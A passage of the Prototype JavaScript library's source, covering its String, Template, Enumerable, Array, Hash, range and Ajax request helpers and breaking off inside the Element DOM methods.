typeof JSON.parse === 'function' &&
JSON.parse('{"test": true}').test;

function prepareReplacement(replacement) {
if (Object.isFunction(replacement)) return replacement;
var template = new Template(replacement);
return function(match) { return template.evaluate(match) };
}

function isNonEmptyRegExp(regexp) {
return regexp.source && regexp.source !== '(?:)';
}


function gsub(pattern, replacement) {
var result = '', source = this, match;
replacement = prepareReplacement(replacement);

if (Object.isString(pattern))
pattern = RegExp.escape(pattern);

if (!(pattern.length || isNonEmptyRegExp(pattern))) {
replacement = replacement('');
return replacement + source.split('').join(replacement) + replacement;
}

while (source.length > 0) {
match = source.match(pattern)
if (match && match[0].length > 0) {
result += source.slice(0, match.index);
result += String.interpret(replacement(match));
source  = source.slice(match.index + match[0].length);
} else {
result += source, source = '';
}
}
return result;
}

function sub(pattern, replacement, count) {
replacement = prepareReplacement(replacement);
count = Object.isUndefined(count) ? 1 : count;

return this.gsub(pattern, function(match) {
if (--count < 0) return match[0];
return replacement(match);
});
}

function scan(pattern, iterator) {
this.gsub(pattern, iterator);
return String(this);
}

function truncate(length, truncation) {
length = length || 30;
truncation = Object.isUndefined(truncation) ? '...' : truncation;
return this.length > length ?
this.slice(0, length - truncation.length) + truncation : String(this);
}

function strip() {
return this.replace(/^\s+/, '').replace(/\s+$/, '');
}

function stripTags() {
return this.replace(/<\w+(\s+("[^"]*"|'[^']*'|[^>])+)?(\/)?>|<\/\w+>/gi, '');
}

function stripScripts() {
return this.replace(new RegExp(Prototype.ScriptFragment, 'img'), '');
}

function extractScripts() {
var matchAll = new RegExp(Prototype.ScriptFragment, 'img'),
matchOne = new RegExp(Prototype.ScriptFragment, 'im');
return (this.match(matchAll) || []).map(function(scriptTag) {
return (scriptTag.match(matchOne) || ['', ''])[1];
});
}

function evalScripts() {
return this.extractScripts().map(function(script) { return eval(script); });
}

function escapeHTML() {
return this.replace(/&/g,'&amp;').replace(/</g,'&lt;').replace(/>/g,'&gt;');
}

function unescapeHTML() {
return this.stripTags().replace(/&lt;/g,'<').replace(/&gt;/g,'>').replace(/&amp;/g,'&');
}


function toQueryParams(separator) {
var match = this.strip().match(/([^?#]*)(#.*)?$/);
if (!match) return { };

return match[1].split(separator || '&').inject({ }, function(hash, pair) {
if ((pair = pair.split('='))[0]) {
var key = decodeURIComponent(pair.shift()),
value = pair.length > 1 ? pair.join('=') : pair[0];

if (value != undefined) {
value = value.gsub('+', ' ');
value = decodeURIComponent(value);
}

if (key in hash) {
if (!Object.isArray(hash[key])) hash[key] = [hash[key]];
hash[key].push(value);
}
else hash[key] = value;
}
return hash;
});
}

function toArray() {
return this.split('');
}

function succ() {
return this.slice(0, this.length - 1) +
String.fromCharCode(this.charCodeAt(this.length - 1) + 1);
}

function times(count) {
return count < 1 ? '' : new Array(count + 1).join(this);
}

function camelize() {
return this.replace(/-+(.)?/g, function(match, chr) {
return chr ? chr.toUpperCase() : '';
});
}

function capitalize() {
return this.charAt(0).toUpperCase() + this.substring(1).toLowerCase();
}

function underscore() {
return this.replace(/::/g, '/')
.replace(/([A-Z]+)([A-Z][a-z])/g, '$1_$2')
.replace(/([a-z\d])([A-Z])/g, '$1_$2')
.replace(/-/g, '_')
.toLowerCase();
}

function dasherize() {
return this.replace(/_/g, '-');
}

function inspect(useDoubleQuotes) {
var escapedString = this.replace(/[\x00-\x1f\\]/g, function(character) {
if (character in String.specialChar) {
return String.specialChar[character];
}
return '\\u00' + character.charCodeAt().toPaddedString(2, 16);
});
if (useDoubleQuotes) return '"' + escapedString.replace(/"/g, '\\"') + '"';
return "'" + escapedString.replace(/'/g, '\\\'') + "'";
}

function unfilterJSON(filter) {
return this.replace(filter || Prototype.JSONFilter, '$1');
}

function isJSON() {
var str = this;
if (str.blank()) return false;
str = str.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@');
str = str.replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']');
str = str.replace(/(?:^|:|,)(?:\s*\[)+/g, '');
return (/^[\],:{}\s]*$/).test(str);
}

function evalJSON(sanitize) {
var json = this.unfilterJSON(),
cx = /[\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff\u0000]/g;
if (cx.test(json)) {
json = json.replace(cx, function (a) {
return '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
});
}
try {
if (!sanitize || json.isJSON()) return eval('(' + json + ')');
} catch (e) { }
throw new SyntaxError('Badly formed JSON string: ' + this.inspect());
}

function parseJSON() {
var json = this.unfilterJSON();
return JSON.parse(json);
}

function include(pattern) {
return this.indexOf(pattern) > -1;
}

function startsWith(pattern, position) {
position = Object.isNumber(position) ? position : 0;
return this.lastIndexOf(pattern, position) === position;
}

function endsWith(pattern, position) {
pattern = String(pattern);
position = Object.isNumber(position) ? position : this.length;
if (position < 0) position = 0;
if (position > this.length) position = this.length;
var d = position - pattern.length;
return d >= 0 && this.indexOf(pattern, d) === d;
}

function empty() {
return this == '';
}

function blank() {
return /^\s*$/.test(this);
}

function interpolate(object, pattern) {
return new Template(this, pattern).evaluate(object);
}

return {
gsub:           gsub,
sub:            sub,
scan:           scan,
truncate:       truncate,
strip:          String.prototype.trim || strip,
stripTags:      stripTags,
stripScripts:   stripScripts,
extractScripts: extractScripts,
evalScripts:    evalScripts,
escapeHTML:     escapeHTML,
unescapeHTML:   unescapeHTML,
toQueryParams:  toQueryParams,
parseQuery:     toQueryParams,
toArray:        toArray,
succ:           succ,
times:          times,
camelize:       camelize,
capitalize:     capitalize,
underscore:     underscore,
dasherize:      dasherize,
inspect:        inspect,
unfilterJSON:   unfilterJSON,
isJSON:         isJSON,
evalJSON:       NATIVE_JSON_PARSE_SUPPORT ? parseJSON : evalJSON,
include:        include,
startsWith:     String.prototype.startsWith || startsWith,
endsWith:       String.prototype.endsWith || endsWith,
empty:          empty,
blank:          blank,
interpolate:    interpolate
};
})());

var Template = Class.create({
initialize: function(template, pattern) {
this.template = template.toString();
this.pattern = pattern || Template.Pattern;
},

evaluate: function(object) {
if (object && Object.isFunction(object.toTemplateReplacements))
object = object.toTemplateReplacements();

return this.template.gsub(this.pattern, function(match) {
if (object == null) return (match[1] + '');

var before = match[1] || '';
if (before == '\\') return match[2];

var ctx = object, expr = match[3],
pattern = /^([^.[]+|\[((?:.*?[^\\])?)\])(\.|\[|$)/;

match = pattern.exec(expr);
if (match == null) return before;

while (match != null) {
var comp = match[1].startsWith('[') ? match[2].replace(/\\\\]/g, ']') : match[1];
ctx = ctx[comp];
if (null == ctx || '' == match[3]) break;
expr = expr.substring('[' == match[3] ? match[1].length : match[0].length);
match = pattern.exec(expr);
}

return before + String.interpret(ctx);
});
}
});
Template.Pattern = /(^|.|\r|\n)(#\{(.*?)\})/;

var $break = { };

var Enumerable = (function() {
function each(iterator, context) {
try {
this._each(iterator, context);
} catch (e) {
if (e != $break) throw e;
}
return this;
}

function eachSlice(number, iterator, context) {
var index = -number, slices = [], array = this.toArray();
if (number < 1) return array;
while ((index += number) < array.length)
slices.push(array.slice(index, index+number));
return slices.collect(iterator, context);
}

function all(iterator, context) {
iterator = iterator || Prototype.K;
var result = true;
this.each(function(value, index) {
result = result && !!iterator.call(context, value, index, this);
if (!result) throw $break;
}, this);
return result;
}

function any(iterator, context) {
iterator = iterator || Prototype.K;
var result = false;
this.each(function(value, index) {
if (result = !!iterator.call(context, value, index, this))
throw $break;
}, this);
return result;
}

function collect(iterator, context) {
iterator = iterator || Prototype.K;
var results = [];
this.each(function(value, index) {
results.push(iterator.call(context, value, index, this));
}, this);
return results;
}

function detect(iterator, context) {
var result;
this.each(function(value, index) {
if (iterator.call(context, value, index, this)) {
result = value;
throw $break;
}
}, this);
return result;
}

function findAll(iterator, context) {
var results = [];
this.each(function(value, index) {
if (iterator.call(context, value, index, this))
results.push(value);
}, this);
return results;
}

function grep(filter, iterator, context) {
iterator = iterator || Prototype.K;
var results = [];

if (Object.isString(filter))
filter = new RegExp(RegExp.escape(filter));

this.each(function(value, index) {
if (filter.match(value))
results.push(iterator.call(context, value, index, this));
}, this);
return results;
}

function include(object) {
if (Object.isFunction(this.indexOf) && this.indexOf(object) != -1)
return true;

var found = false;
this.each(function(value) {
if (value == object) {
found = true;
throw $break;
}
});
return found;
}

function inGroupsOf(number, fillWith) {
fillWith = Object.isUndefined(fillWith) ? null : fillWith;
return this.eachSlice(number, function(slice) {
while(slice.length < number) slice.push(fillWith);
return slice;
});
}

function inject(memo, iterator, context) {
this.each(function(value, index) {
memo = iterator.call(context, memo, value, index, this);
}, this);
return memo;
}

function invoke(method) {
var args = $A(arguments).slice(1);
return this.map(function(value) {
return value[method].apply(value, args);
});
}

function max(iterator, context) {
iterator = iterator || Prototype.K;
var result;
this.each(function(value, index) {
value = iterator.call(context, value, index, this);
if (result == null || value >= result)
result = value;
}, this);
return result;
}

function min(iterator, context) {
iterator = iterator || Prototype.K;
var result;
this.each(function(value, index) {
value = iterator.call(context, value, index, this);
if (result == null || value < result)
result = value;
}, this);
return result;
}

function partition(iterator, context) {
iterator = iterator || Prototype.K;
var trues = [], falses = [];
this.each(function(value, index) {
(iterator.call(context, value, index, this) ?
trues : falses).push(value);
}, this);
return [trues, falses];
}

function pluck(property) {
var results = [];
this.each(function(value) {
results.push(value[property]);
});
return results;
}

function reject(iterator, context) {
var results = [];
this.each(function(value, index) {
if (!iterator.call(context, value, index, this))
results.push(value);
}, this);
return results;
}

function sortBy(iterator, context) {
return this.map(function(value, index) {
return {
value: value,
criteria: iterator.call(context, value, index, this)
};
}, this).sort(function(left, right) {
var a = left.criteria, b = right.criteria;
return a < b ? -1 : a > b ? 1 : 0;
}).pluck('value');
}

function toArray() {
return this.map();
}

function zip() {
var iterator = Prototype.K, args = $A(arguments);
if (Object.isFunction(args.last()))
iterator = args.pop();

var collections = [this].concat(args).map($A);
return this.map(function(value, index) {
return iterator(collections.pluck(index));
});
}

function size() {
return this.toArray().length;
}

function inspect() {
return '#<Enumerable:' + this.toArray().inspect() + '>';
}









return {
each:       each,
eachSlice:  eachSlice,
all:        all,
every:      all,
any:        any,
some:       any,
collect:    collect,
map:        collect,
detect:     detect,
findAll:    findAll,
select:     findAll,
filter:     findAll,
grep:       grep,
include:    include,
member:     include,
inGroupsOf: inGroupsOf,
inject:     inject,
invoke:     invoke,
max:        max,
min:        min,
partition:  partition,
pluck:      pluck,
reject:     reject,
sortBy:     sortBy,
toArray:    toArray,
entries:    toArray,
zip:        zip,
size:       size,
inspect:    inspect,
find:       detect
};
})();

function $A(iterable) {
if (!iterable) return [];
if ('toArray' in Object(iterable)) return iterable.toArray();
var length = iterable.length || 0, results = new Array(length);
while (length--) results[length] = iterable[length];
return results;
}


function $w(string) {
if (!Object.isString(string)) return [];
string = string.strip();
return string ? string.split(/\s+/) : [];
}

Array.from = $A;


(function() {
var arrayProto = Array.prototype,
slice = arrayProto.slice,
_each = arrayProto.forEach; // use native browser JS 1.6 implementation if available

function each(iterator, context) {
for (var i = 0, length = this.length >>> 0; i < length; i++) {
if (i in this) iterator.call(context, this[i], i, this);
}
}
if (!_each) _each = each;

function clear() {
this.length = 0;
return this;
}

function first() {
return this[0];
}

function last() {
return this[this.length - 1];
}

function compact() {
return this.select(function(value) {
return value != null;
});
}

function flatten() {
return this.inject([], function(array, value) {
if (Object.isArray(value))
return array.concat(value.flatten());
array.push(value);
return array;
});
}

function without() {
var values = slice.call(arguments, 0);
return this.select(function(value) {
return !values.include(value);
});
}

function reverse(inline) {
return (inline === false ? this.toArray() : this)._reverse();
}

function uniq(sorted) {
return this.inject([], function(array, value, index) {
if (0 == index || (sorted ? array.last() != value : !array.include(value)))
array.push(value);
return array;
});
}

function intersect(array) {
return this.uniq().findAll(function(item) {
return array.indexOf(item) !== -1;
});
}


function clone() {
return slice.call(this, 0);
}

function size() {
return this.length;
}

function inspect() {
return '[' + this.map(Object.inspect).join(', ') + ']';
}

function indexOf(item, i) {
if (this == null) throw new TypeError();

var array = Object(this), length = array.length >>> 0;
if (length === 0) return -1;

i = Number(i);
if (isNaN(i)) {
i = 0;
} else if (i !== 0 && isFinite(i)) {
i = (i > 0 ? 1 : -1) * Math.floor(Math.abs(i));
}

if (i > length) return -1;

var k = i >= 0 ? i : Math.max(length - Math.abs(i), 0);
for (; k < length; k++)
if (k in array && array[k] === item) return k;
return -1;
}


function lastIndexOf(item, i) {
if (this == null) throw new TypeError();

var array = Object(this), length = array.length >>> 0;
if (length === 0) return -1;

if (!Object.isUndefined(i)) {
i = Number(i);
if (isNaN(i)) {
i = 0;
} else if (i !== 0 && isFinite(i)) {
i = (i > 0 ? 1 : -1) * Math.floor(Math.abs(i));
}
} else {
i = length;
}

var k = i >= 0 ? Math.min(i, length - 1) :
length - Math.abs(i);

for (; k >= 0; k--)
if (k in array && array[k] === item) return k;
return -1;
}

function concat(_) {
var array = [], items = slice.call(arguments, 0), item, n = 0;
items.unshift(this);
for (var i = 0, length = items.length; i < length; i++) {
item = items[i];
if (Object.isArray(item) && !('callee' in item)) {
for (var j = 0, arrayLength = item.length; j < arrayLength; j++) {
if (j in item) array[n] = item[j];
n++;
}
} else {
array[n++] = item;
}
}
array.length = n;
return array;
}


function wrapNative(method) {
return function() {
if (arguments.length === 0) {
return method.call(this, Prototype.K);
} else if (arguments[0] === undefined) {
var args = slice.call(arguments, 1);
args.unshift(Prototype.K);
return method.apply(this, args);
} else {
return method.apply(this, arguments);
}
};
}


function map(iterator) {
if (this == null) throw new TypeError();
iterator = iterator || Prototype.K;

var object = Object(this);
var results = [], context = arguments[1], n = 0;

for (var i = 0, length = object.length >>> 0; i < length; i++) {
if (i in object) {
results[n] = iterator.call(context, object[i], i, object);
}
n++;
}
results.length = n;
return results;
}

if (arrayProto.map) {
map = wrapNative(Array.prototype.map);
}

function filter(iterator) {
if (this == null || !Object.isFunction(iterator))
throw new TypeError();

var object = Object(this);
var results = [], context = arguments[1], value;

for (var i = 0, length = object.length >>> 0; i < length; i++) {
if (i in object) {
value = object[i];
if (iterator.call(context, value, i, object)) {
results.push(value);
}
}
}
return results;
}

if (arrayProto.filter) {
filter = Array.prototype.filter;
}

function some(iterator) {
if (this == null) throw new TypeError();
iterator = iterator || Prototype.K;
var context = arguments[1];

var object = Object(this);
for (var i = 0, length = object.length >>> 0; i < length; i++) {
if (i in object && iterator.call(context, object[i], i, object)) {
return true;
}
}

return false;
}

if (arrayProto.some) {
some = wrapNative(Array.prototype.some);
}

function every(iterator) {
if (this == null) throw new TypeError();
iterator = iterator || Prototype.K;
var context = arguments[1];

var object = Object(this);
for (var i = 0, length = object.length >>> 0; i < length; i++) {
if (i in object && !iterator.call(context, object[i], i, object)) {
return false;
}
}

return true;
}

if (arrayProto.every) {
every = wrapNative(Array.prototype.every);
}


Object.extend(arrayProto, Enumerable);

if (arrayProto.entries === Enumerable.entries) {
delete arrayProto.entries;
}

if (!arrayProto._reverse)
arrayProto._reverse = arrayProto.reverse;

Object.extend(arrayProto, {
_each:     _each,

map:       map,
collect:   map,
select:    filter,
filter:    filter,
findAll:   filter,
some:      some,
any:       some,
every:     every,
all:       every,

clear:     clear,
first:     first,
last:      last,
compact:   compact,
flatten:   flatten,
without:   without,
reverse:   reverse,
uniq:      uniq,
intersect: intersect,
clone:     clone,
toArray:   clone,
size:      size,
inspect:   inspect
});

var CONCAT_ARGUMENTS_BUGGY = (function() {
return [].concat(arguments)[0][0] !== 1;
})(1,2);

if (CONCAT_ARGUMENTS_BUGGY) arrayProto.concat = concat;

if (!arrayProto.indexOf) arrayProto.indexOf = indexOf;
if (!arrayProto.lastIndexOf) arrayProto.lastIndexOf = lastIndexOf;
})();
function $H(object) {
return new Hash(object);
};

var Hash = Class.create(Enumerable, (function() {
function initialize(object) {
this._object = Object.isHash(object) ? object.toObject() : Object.clone(object);
}


function _each(iterator, context) {
var i = 0;
for (var key in this._object) {
var value = this._object[key], pair = [key, value];
pair.key = key;
pair.value = value;
iterator.call(context, pair, i);
i++;
}
}

function set(key, value) {
return this._object[key] = value;
}

function get(key) {
if (this._object[key] !== Object.prototype[key])
return this._object[key];
}

function unset(key) {
var value = this._object[key];
delete this._object[key];
return value;
}

function toObject() {
return Object.clone(this._object);
}



function keys() {
return this.pluck('key');
}

function values() {
return this.pluck('value');
}

function index(value) {
var match = this.detect(function(pair) {
return pair.value === value;
});
return match && match.key;
}

function merge(object) {
return this.clone().update(object);
}

function update(object) {
return new Hash(object).inject(this, function(result, pair) {
result.set(pair.key, pair.value);
return result;
});
}

function toQueryPair(key, value) {
if (Object.isUndefined(value)) return key;

value = String.interpret(value);

value = value.gsub(/(\r)?\n/, '\r\n');
value = encodeURIComponent(value);
value = value.gsub(/%20/, '+');
return key + '=' + value;
}

function toQueryString() {
return this.inject([], function(results, pair) {
var key = encodeURIComponent(pair.key), values = pair.value;

if (values && typeof values == 'object') {
if (Object.isArray(values)) {
var queryValues = [];
for (var i = 0, len = values.length, value; i < len; i++) {
value = values[i];
queryValues.push(toQueryPair(key, value));
}
return results.concat(queryValues);
}
} else results.push(toQueryPair(key, values));
return results;
}).join('&');
}

function inspect() {
return '#<Hash:{' + this.map(function(pair) {
return pair.map(Object.inspect).join(': ');
}).join(', ') + '}>';
}

function clone() {
return new Hash(this);
}

return {
initialize:             initialize,
_each:                  _each,
set:                    set,
get:                    get,
unset:                  unset,
toObject:               toObject,
toTemplateReplacements: toObject,
keys:                   keys,
values:                 values,
index:                  index,
merge:                  merge,
update:                 update,
toQueryString:          toQueryString,
inspect:                inspect,
toJSON:                 toObject,
clone:                  clone
};
})());

Hash.from = $H;
Object.extend(Number.prototype, (function() {
function toColorPart() {
return this.toPaddedString(2, 16);
}

function succ() {
return this + 1;
}

function times(iterator, context) {
$R(0, this, true).each(iterator, context);
return this;
}

function toPaddedString(length, radix) {
var string = this.toString(radix || 10);
return '0'.times(length - string.length) + string;
}

function abs() {
return Math.abs(this);
}

function round() {
return Math.round(this);
}

function ceil() {
return Math.ceil(this);
}

function floor() {
return Math.floor(this);
}

return {
toColorPart:    toColorPart,
succ:           succ,
times:          times,
toPaddedString: toPaddedString,
abs:            abs,
round:          round,
ceil:           ceil,
floor:          floor
};
})());

function $R(start, end, exclusive) {
return new ObjectRange(start, end, exclusive);
}

var ObjectRange = Class.create(Enumerable, (function() {
function initialize(start, end, exclusive) {
this.start = start;
this.end = end;
this.exclusive = exclusive;
}

function _each(iterator, context) {
var value = this.start, i;
for (i = 0; this.include(value); i++) {
iterator.call(context, value, i);
value = value.succ();
}
}

function include(value) {
if (value < this.start)
return false;
if (this.exclusive)
return value < this.end;
return value <= this.end;
}

return {
initialize: initialize,
_each:      _each,
include:    include
};
})());



var Abstract = { };


var Try = {
these: function() {
var returnValue;

for (var i = 0, length = arguments.length; i < length; i++) {
var lambda = arguments[i];
try {
returnValue = lambda();
break;
} catch (e) { }
}

return returnValue;
}
};

var Ajax = {
getTransport: function() {
return Try.these(
function() {return new XMLHttpRequest()},
function() {return new ActiveXObject('Msxml2.XMLHTTP')},
function() {return new ActiveXObject('Microsoft.XMLHTTP')}
) || false;
},

activeRequestCount: 0
};

Ajax.Responders = {
responders: [],

_each: function(iterator, context) {
this.responders._each(iterator, context);
},

register: function(responder) {
if (!this.include(responder))
this.responders.push(responder);
},

unregister: function(responder) {
this.responders = this.responders.without(responder);
},

dispatch: function(callback, request, transport, json) {
this.each(function(responder) {
if (Object.isFunction(responder[callback])) {
try {
responder[callback].apply(responder, [request, transport, json]);
} catch (e) { }
}
});
}
};

Object.extend(Ajax.Responders, Enumerable);

Ajax.Responders.register({
onCreate:   function() { Ajax.activeRequestCount++ },
onComplete: function() { Ajax.activeRequestCount-- }
});
Ajax.Base = Class.create({
initialize: function(options) {
this.options = {
method:       'post',
asynchronous: true,
contentType:  'application/x-www-form-urlencoded',
encoding:     'UTF-8',
parameters:   '',
evalJSON:     true,
evalJS:       true
};
Object.extend(this.options, options || { });

this.options.method = this.options.method.toLowerCase();

if (Object.isHash(this.options.parameters))
this.options.parameters = this.options.parameters.toObject();
}
});
Ajax.Request = Class.create(Ajax.Base, {
_complete: false,

initialize: function($super, url, options) {
$super(options);
this.transport = Ajax.getTransport();
this.request(url);
},

request: function(url) {
this.url = url;
this.method = this.options.method;
var params = Object.isString(this.options.parameters) ?
this.options.parameters :
Object.toQueryString(this.options.parameters);

if (!['get', 'post'].include(this.method)) {
params += (params ? '&' : '') + "_method=" + this.method;
this.method = 'post';
}

if (params && this.method === 'get') {
this.url += (this.url.include('?') ? '&' : '?') + params;
}

this.parameters = params.toQueryParams();

try {
var response = new Ajax.Response(this);
if (this.options.onCreate) this.options.onCreate(response);
Ajax.Responders.dispatch('onCreate', this, response);

this.transport.open(this.method.toUpperCase(), this.url,
this.options.asynchronous);

if (this.options.asynchronous) this.respondToReadyState.bind(this).defer(1);

this.transport.onreadystatechange = this.onStateChange.bind(this);
this.setRequestHeaders();

this.body = this.method == 'post' ? (this.options.postBody || params) : null;
this.transport.send(this.body);

/* Force Firefox to handle ready state 4 for synchronous requests */
if (!this.options.asynchronous && this.transport.overrideMimeType)
this.onStateChange();

}
catch (e) {
this.dispatchException(e);
}
},

onStateChange: function() {
var readyState = this.transport.readyState;
if (readyState > 1 && !((readyState == 4) && this._complete))
this.respondToReadyState(this.transport.readyState);
},

setRequestHeaders: function() {
var headers = {
'X-Requested-With': 'XMLHttpRequest',
'X-Prototype-Version': Prototype.Version,
'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
};

if (this.method == 'post') {
headers['Content-type'] = this.options.contentType +
(this.options.encoding ? '; charset=' + this.options.encoding : '');

/* Force "Connection: close" for older Mozilla browsers to work
* around a bug where XMLHttpRequest sends an incorrect
* Content-length header. See Mozilla Bugzilla #246651.
*/
if (this.transport.overrideMimeType &&
(navigator.userAgent.match(/Gecko\/(\d{4})/) || [0,2005])[1] < 2005)
headers['Connection'] = 'close';
}

if (typeof this.options.requestHeaders == 'object') {
var extras = this.options.requestHeaders;

if (Object.isFunction(extras.push))
for (var i = 0, length = extras.length; i < length; i += 2)
headers[extras[i]] = extras[i+1];
else
$H(extras).each(function(pair) { headers[pair.key] = pair.value });
}

for (var name in headers)
if (headers[name] != null)
this.transport.setRequestHeader(name, headers[name]);
},

success: function() {
var status = this.getStatus();
return !status || (status >= 200 && status < 300) || status == 304;
},

getStatus: function() {
try {
if (this.transport.status === 1223) return 204;
return this.transport.status || 0;
} catch (e) { return 0 }
},

respondToReadyState: function(readyState) {
var state = Ajax.Request.Events[readyState], response = new Ajax.Response(this);

if (state == 'Complete') {
try {
this._complete = true;
(this.options['on' + response.status]
|| this.options['on' + (this.success() ? 'Success' : 'Failure')]
|| Prototype.emptyFunction)(response, response.headerJSON);
} catch (e) {
this.dispatchException(e);
}

var contentType = response.getHeader('Content-type');
if (this.options.evalJS == 'force'
|| (this.options.evalJS && this.isSameOrigin() && contentType
&& contentType.match(/^\s*(text|application)\/(x-)?(java|ecma)script(;.*)?\s*$/i)))
this.evalResponse();
}

try {
(this.options['on' + state] || Prototype.emptyFunction)(response, response.headerJSON);
Ajax.Responders.dispatch('on' + state, this, response, response.headerJSON);
} catch (e) {
this.dispatchException(e);
}

if (state == 'Complete') {
this.transport.onreadystatechange = Prototype.emptyFunction;
}
},

isSameOrigin: function() {
var m = this.url.match(/^\s*https?:\/\/[^\/]*/);
return !m || (m[0] == '#{protocol}//#{domain}#{port}'.interpolate({
protocol: location.protocol,
domain: document.domain,
port: location.port ? ':' + location.port : ''
}));
},

getHeader: function(name) {
try {
return this.transport.getResponseHeader(name) || null;
} catch (e) { return null; }
},

evalResponse: function() {
try {
return eval((this.transport.responseText || '').unfilterJSON());
} catch (e) {
this.dispatchException(e);
}
},

dispatchException: function(exception) {
(this.options.onException || Prototype.emptyFunction)(this, exception);
Ajax.Responders.dispatch('onException', this, exception);
}
});

Ajax.Request.Events =
['Uninitialized', 'Loading', 'Loaded', 'Interactive', 'Complete'];








Ajax.Response = Class.create({
initialize: function(request){
this.request = request;
var transport  = this.transport  = request.transport,
readyState = this.readyState = transport.readyState;

if ((readyState > 2 && !Prototype.Browser.IE) || readyState == 4) {
this.status       = this.getStatus();
this.statusText   = this.getStatusText();
this.responseText = String.interpret(transport.responseText);
this.headerJSON   = this._getHeaderJSON();
}

if (readyState == 4) {
var xml = transport.responseXML;
this.responseXML  = Object.isUndefined(xml) ? null : xml;
this.responseJSON = this._getResponseJSON();
}
},

status:      0,

statusText: '',

getStatus: Ajax.Request.prototype.getStatus,

getStatusText: function() {
try {
return this.transport.statusText || '';
} catch (e) { return '' }
},

getHeader: Ajax.Request.prototype.getHeader,

getAllHeaders: function() {
try {
return this.getAllResponseHeaders();
} catch (e) { return null }
},

getResponseHeader: function(name) {
return this.transport.getResponseHeader(name);
},

getAllResponseHeaders: function() {
return this.transport.getAllResponseHeaders();
},

_getHeaderJSON: function() {
var json = this.getHeader('X-JSON');
if (!json) return null;

try {
json = decodeURIComponent(escape(json));
} catch(e) {
}

try {
return json.evalJSON(this.request.options.sanitizeJSON ||
!this.request.isSameOrigin());
} catch (e) {
this.request.dispatchException(e);
}
},

_getResponseJSON: function() {
var options = this.request.options;
if (!options.evalJSON || (options.evalJSON != 'force' &&
!(this.getHeader('Content-type') || '').include('application/json')) ||
this.responseText.blank())
return null;
try {
return this.responseText.evalJSON(options.sanitizeJSON ||
!this.request.isSameOrigin());
} catch (e) {
this.request.dispatchException(e);
}
}
});

Ajax.Updater = Class.create(Ajax.Request, {
initialize: function($super, container, url, options) {
this.container = {
success: (container.success || container),
failure: (container.failure || (container.success ? null : container))
};

options = Object.clone(options);
var onComplete = options.onComplete;
options.onComplete = (function(response, json) {
this.updateContent(response.responseText);
if (Object.isFunction(onComplete)) onComplete(response, json);
}).bind(this);

$super(url, options);
},

updateContent: function(responseText) {
var receiver = this.container[this.success() ? 'success' : 'failure'],
options = this.options;

if (!options.evalScripts) responseText = responseText.stripScripts();

if (receiver = $(receiver)) {
if (options.insertion) {
if (Object.isString(options.insertion)) {
var insertion = { }; insertion[options.insertion] = responseText;
receiver.insert(insertion);
}
else options.insertion(receiver, responseText);
}
else receiver.update(responseText);
}
}
});

Ajax.PeriodicalUpdater = Class.create(Ajax.Base, {
initialize: function($super, container, url, options) {
$super(options);
this.onComplete = this.options.onComplete;

this.frequency = (this.options.frequency || 2);
this.decay = (this.options.decay || 1);

this.updater = { };
this.container = container;
this.url = url;

this.start();
},

start: function() {
this.options.onComplete = this.updateComplete.bind(this);
this.onTimerEvent();
},

stop: function() {
this.updater.options.onComplete = undefined;
clearTimeout(this.timer);
(this.onComplete || Prototype.emptyFunction).apply(this, arguments);
},

updateComplete: function(response) {
if (this.options.decay) {
this.decay = (response.responseText == this.lastText ?
this.decay * this.options.decay : 1);

this.lastText = response.responseText;
}
this.timer = this.onTimerEvent.bind(this).delay(this.decay * this.frequency);
},

onTimerEvent: function() {
this.updater = new Ajax.Updater(this.container, this.url, this.options);
}
});

(function(GLOBAL) {

var UNDEFINED;
var SLICE = Array.prototype.slice;

var DIV = document.createElement('div');


function $(element) {
if (arguments.length > 1) {
for (var i = 0, elements = [], length = arguments.length; i < length; i++)
elements.push($(arguments[i]));
return elements;
}

if (Object.isString(element))
element = document.getElementById(element);
return Element.extend(element);
}

GLOBAL.$ = $;


if (!GLOBAL.Node) GLOBAL.Node = {};

if (!GLOBAL.Node.ELEMENT_NODE) {
Object.extend(GLOBAL.Node, {
ELEMENT_NODE:                1,
ATTRIBUTE_NODE:              2,
TEXT_NODE:                   3,
CDATA_SECTION_NODE:          4,
ENTITY_REFERENCE_NODE:       5,
ENTITY_NODE:                 6,
PROCESSING_INSTRUCTION_NODE: 7,
COMMENT_NODE:                8,
DOCUMENT_NODE:               9,
DOCUMENT_TYPE_NODE:         10,
DOCUMENT_FRAGMENT_NODE:     11,
NOTATION_NODE:              12
});
}

var ELEMENT_CACHE = {};

function shouldUseCreationCache(tagName, attributes) {
if (tagName === 'select') return false;
if ('type' in attributes) return false;
return true;
}

var HAS_EXTENDED_CREATE_ELEMENT_SYNTAX = (function(){
try {
var el = document.createElement('<input name="x">');
return el.tagName.toLowerCase() === 'input' && el.name === 'x';
}
catch(err) {
return false;
}
})();


var oldElement = GLOBAL.Element;
function Element(tagName, attributes) {
attributes = attributes || {};
tagName = tagName.toLowerCase();

if (HAS_EXTENDED_CREATE_ELEMENT_SYNTAX && attributes.name) {
tagName = '<' + tagName + ' name="' + attributes.name + '">';
delete attributes.name;
return Element.writeAttribute(document.createElement(tagName), attributes);
}

if (!ELEMENT_CACHE[tagName])
ELEMENT_CACHE[tagName] = Element.extend(document.createElement(tagName));

var node = shouldUseCreationCache(tagName, attributes) ?
ELEMENT_CACHE[tagName].cloneNode(false) : document.createElement(tagName);

return Element.writeAttribute(node, attributes);
}

GLOBAL.Element = Element;

Object.extend(GLOBAL.Element, oldElement || {});
if (oldElement) GLOBAL.Element.prototype = oldElement.prototype;

Element.Methods = { ByTag: {}, Simulated: {} };

var methods = {};

var INSPECT_ATTRIBUTES = { id: 'id', className: 'class' };
function inspect(element) {
element = $(element);
var result = '<' + element.tagName.toLowerCase();

var attribute, value;
for (var property in INSPECT_ATTRIBUTES) {
attribute = INSPECT_ATTRIBUTES[property];
value = (element[property] || '').toString();
if (value) result += ' ' + attribute + '=' + value.inspect(true);
}

return result + '>';
}

methods.inspect = inspect;


function visible(element) {
return $(element).getStyle('display') !== 'none';
}

function toggle(element, bool) {
element = $(element);
if (typeof bool !== 'boolean')
bool = !Element.visible(element);
Element[bool ? 'show' : 'hide'](element);

return element;
}

function hide(element) {
element = $(element);
element.style.display = 'none';
return element;
}

function show(element) {
